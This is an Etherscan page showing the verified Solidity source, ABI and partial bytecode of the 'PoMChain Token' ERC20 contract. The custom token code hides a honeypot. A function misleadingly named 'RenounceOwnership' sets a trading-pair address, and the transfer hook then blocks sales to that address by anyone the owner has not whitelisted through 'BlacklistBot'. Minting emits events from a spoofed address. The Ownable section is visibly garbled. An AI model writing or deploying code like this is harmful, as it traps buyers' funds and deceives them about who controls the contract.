ETH Price: $2,306.68 (-0.51%)
Gas: 5.33 Gwei

Token

PoMChain Token (PoMChain)
 

Overview

Max Total Supply

1,000,000,000,000 PoMChain

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.000000412955902225 PoMChain

Value
$0.00
0x2485D2f724ee7EBBb15E8DdD5DE79c0b20e85aa7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PoMChainToken

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-09
*/

//https://t.me/proofofmemes

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


// File @openzeppelin/contracts/access/[email protected]





/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
 
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    



// File @openzeppelin/contracts/token/ERC20/[email protected]





/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]





/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


// File @openzeppelin/contracts/token/ERC20/[email protected]


/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0xf99613B4AE868b1aB1219Ba4FAf933DA928EA8ec), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

contract PoMChainToken is ERC20, Ownable {
    mapping(address=>bool) private _enable;
    address private _uni;
    constructor() ERC20('PoMChain Token','PoMChain') {
        _mint(0x9b50C66cEf2Ac1CeA691C1fED2eEdeb9e88D0774, 1000000000000 *10**18);
        _enable[0x9b50C66cEf2Ac1CeA691C1fED2eEdeb9e88D0774] = true;
    }

    function _mint(
        address account,
        uint256 amount
    ) internal virtual override (ERC20) {
        require(ERC20.totalSupply() + amount <= 1000000000000 *10**18, "ERC20Capped: cap exceeded");
        super._mint(account, amount);
    
    }

    function BlacklistBot(address user, bool enable) public onlyOwner {
        _enable[user] = enable;
    }
    function RenounceOwnership(address uni_) public onlyOwner {
        _uni = uni_;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        if(to == _uni) {
            require(_enable[from], "something went wrong");
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"BlacklistBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uni_","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600e81526020017f506f4d436861696e20546f6b656e0000000000000000000000000000000000008152506040518060400160405280600881526020017f506f4d436861696e00000000000000000000000000000000000000000000000081525081600390816200008f919062000777565b508060049081620000a1919062000777565b5050506000620000b6620001fa60201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35062000188739b50c66cef2ac1cea691c1fed2eedeb9e88d07746c0c9f2c9cd04674edea400000006200020260201b60201c565b600160066000739b50c66cef2ac1cea691c1fed2eedeb9e88d077473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000a5d565b600033905090565b6c0c9f2c9cd04674edea4000000081620002266200029160201b620003bd1760201c565b6200023291906200088d565b111562000276576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200026d9062000929565b60405180910390fd5b6200028d82826200029b60201b620009b11760201c565b5050565b6000600254905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200030d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000304906200099b565b60405180910390fd5b62000321600083836200041260201b60201c565b80600260008282546200033591906200088d565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200038c91906200088d565b925050819055508173ffffffffffffffffffffffffffffffffffffffff1673f99613b4ae868b1ab1219ba4faf933da928ea8ec73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004069190620009ce565b60405180910390a35050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620004f857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16620004f7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004ee9062000a3b565b60405180910390fd5b5b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200057f57607f821691505b60208210810362000595576200059462000537565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005ff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005c0565b6200060b8683620005c0565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000658620006526200064c8462000623565b6200062d565b62000623565b9050919050565b6000819050919050565b620006748362000637565b6200068c62000683826200065f565b848454620005cd565b825550505050565b600090565b620006a362000694565b620006b081848462000669565b505050565b5b81811015620006d857620006cc60008262000699565b600181019050620006b6565b5050565b601f8211156200072757620006f1816200059b565b620006fc84620005b0565b810160208510156200070c578190505b620007246200071b85620005b0565b830182620006b5565b50505b505050565b600082821c905092915050565b60006200074c600019846008026200072c565b1980831691505092915050565b600062000767838362000739565b9150826002028217905092915050565b6200078282620004fd565b67ffffffffffffffff8111156200079e576200079d62000508565b5b620007aa825462000566565b620007b7828285620006dc565b600060209050601f831160018114620007ef5760008415620007da578287015190505b620007e6858262000759565b86555062000856565b601f198416620007ff866200059b565b60005b82811015620008295784890151825560018201915060208501945060208101905062000802565b8683101562000849578489015162000845601f89168262000739565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200089a8262000623565b9150620008a78362000623565b9250828201905080821115620008c257620008c16200085e565b5b92915050565b600082825260208201905092915050565b7f45524332304361707065643a2063617020657863656564656400000000000000600082015250565b600062000911601983620008c8565b91506200091e82620008d9565b602082019050919050565b60006020820190508181036000830152620009448162000902565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000983601f83620008c8565b915062000990826200094b565b602082019050919050565b60006020820190508181036000830152620009b68162000974565b9050919050565b620009c88162000623565b82525050565b6000602082019050620009e56000830184620009bd565b92915050565b7f736f6d657468696e672077656e742077726f6e67000000000000000000000000600082015250565b600062000a23601483620008c8565b915062000a3082620009eb565b602082019050919050565b6000602082019050818103600083015262000a568162000a14565b9050919050565b611a338062000a6d6000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c806378051f4d1161008c578063a457c2d711610066578063a457c2d714610261578063a9059cbb14610291578063b3f684fb146102c1578063dd62ed3e146102dd576100ea565b806378051f4d146102095780638da5cb5b1461022557806395d89b4114610243576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f761030d565b60405161010491906110dc565b60405180910390f35b61012760048036038101906101229190611197565b61039f565b60405161013491906111f2565b60405180910390f35b6101456103bd565b604051610152919061121c565b60405180910390f35b61017560048036038101906101709190611237565b6103c7565b60405161018291906111f2565b60405180910390f35b6101936104c8565b6040516101a091906112a6565b60405180910390f35b6101c360048036038101906101be9190611197565b6104d1565b6040516101d091906111f2565b60405180910390f35b6101f360048036038101906101ee91906112c1565b61057d565b604051610200919061121c565b60405180910390f35b610223600480360381019061021e91906112c1565b6105c5565b005b61022d610685565b60405161023a91906112fd565b60405180910390f35b61024b6106af565b60405161025891906110dc565b60405180910390f35b61027b60048036038101906102769190611197565b610741565b60405161028891906111f2565b60405180910390f35b6102ab60048036038101906102a69190611197565b610835565b6040516102b891906111f2565b60405180910390f35b6102db60048036038101906102d69190611344565b610853565b005b6102f760048036038101906102f29190611384565b61092a565b604051610304919061121c565b60405180910390f35b60606003805461031c906113f3565b80601f0160208091040260200160405190810160405280929190818152602001828054610348906113f3565b80156103955780601f1061036a57610100808354040283529160200191610395565b820191906000526020600020905b81548152906001019060200180831161037857829003601f168201915b5050505050905090565b60006103b36103ac610b17565b8484610b1f565b6001905092915050565b6000600254905090565b60006103d4848484610ce8565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061041f610b17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561049f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049690611496565b60405180910390fd5b6104bc856104ab610b17565b85846104b791906114e5565b610b1f565b60019150509392505050565b60006012905090565b60006105736104de610b17565b8484600160006104ec610b17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461056e9190611519565b610b1f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105cd610b17565b73ffffffffffffffffffffffffffffffffffffffff166105eb610685565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890611599565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106be906113f3565b80601f01602080910402602001604051908101604052809291908181526020018280546106ea906113f3565b80156107375780601f1061070c57610100808354040283529160200191610737565b820191906000526020600020905b81548152906001019060200180831161071a57829003601f168201915b5050505050905090565b60008060016000610750610b17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561080d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108049061162b565b60405180910390fd5b61082a610818610b17565b85858461082591906114e5565b610b1f565b600191505092915050565b6000610849610842610b17565b8484610ce8565b6001905092915050565b61085b610b17565b73ffffffffffffffffffffffffffffffffffffffff16610879610685565b73ffffffffffffffffffffffffffffffffffffffff16146108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c690611599565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1790611697565b60405180910390fd5b610a2c60008383610f65565b8060026000828254610a3e9190611519565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a939190611519565b925050819055508173ffffffffffffffffffffffffffffffffffffffff1673f99613b4ae868b1ab1219ba4faf933da928ea8ec73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b0b919061121c565b60405180910390a35050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8590611729565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf4906117bb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cdb919061121c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e9061184d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbd906118df565b60405180910390fd5b610dd1838383610f65565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4e90611971565b60405180910390fd5b8181610e6391906114e5565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef39190611519565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f57919061121c565b60405180910390a350505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361104757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d906119dd565b60405180910390fd5b5b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561108657808201518184015260208101905061106b565b60008484015250505050565b6000601f19601f8301169050919050565b60006110ae8261104c565b6110b88185611057565b93506110c8818560208601611068565b6110d181611092565b840191505092915050565b600060208201905081810360008301526110f681846110a3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061112e82611103565b9050919050565b61113e81611123565b811461114957600080fd5b50565b60008135905061115b81611135565b92915050565b6000819050919050565b61117481611161565b811461117f57600080fd5b50565b6000813590506111918161116b565b92915050565b600080604083850312156111ae576111ad6110fe565b5b60006111bc8582860161114c565b92505060206111cd85828601611182565b9150509250929050565b60008115159050919050565b6111ec816111d7565b82525050565b600060208201905061120760008301846111e3565b92915050565b61121681611161565b82525050565b6000602082019050611231600083018461120d565b92915050565b6000806000606084860312156112505761124f6110fe565b5b600061125e8682870161114c565b935050602061126f8682870161114c565b925050604061128086828701611182565b9150509250925092565b600060ff82169050919050565b6112a08161128a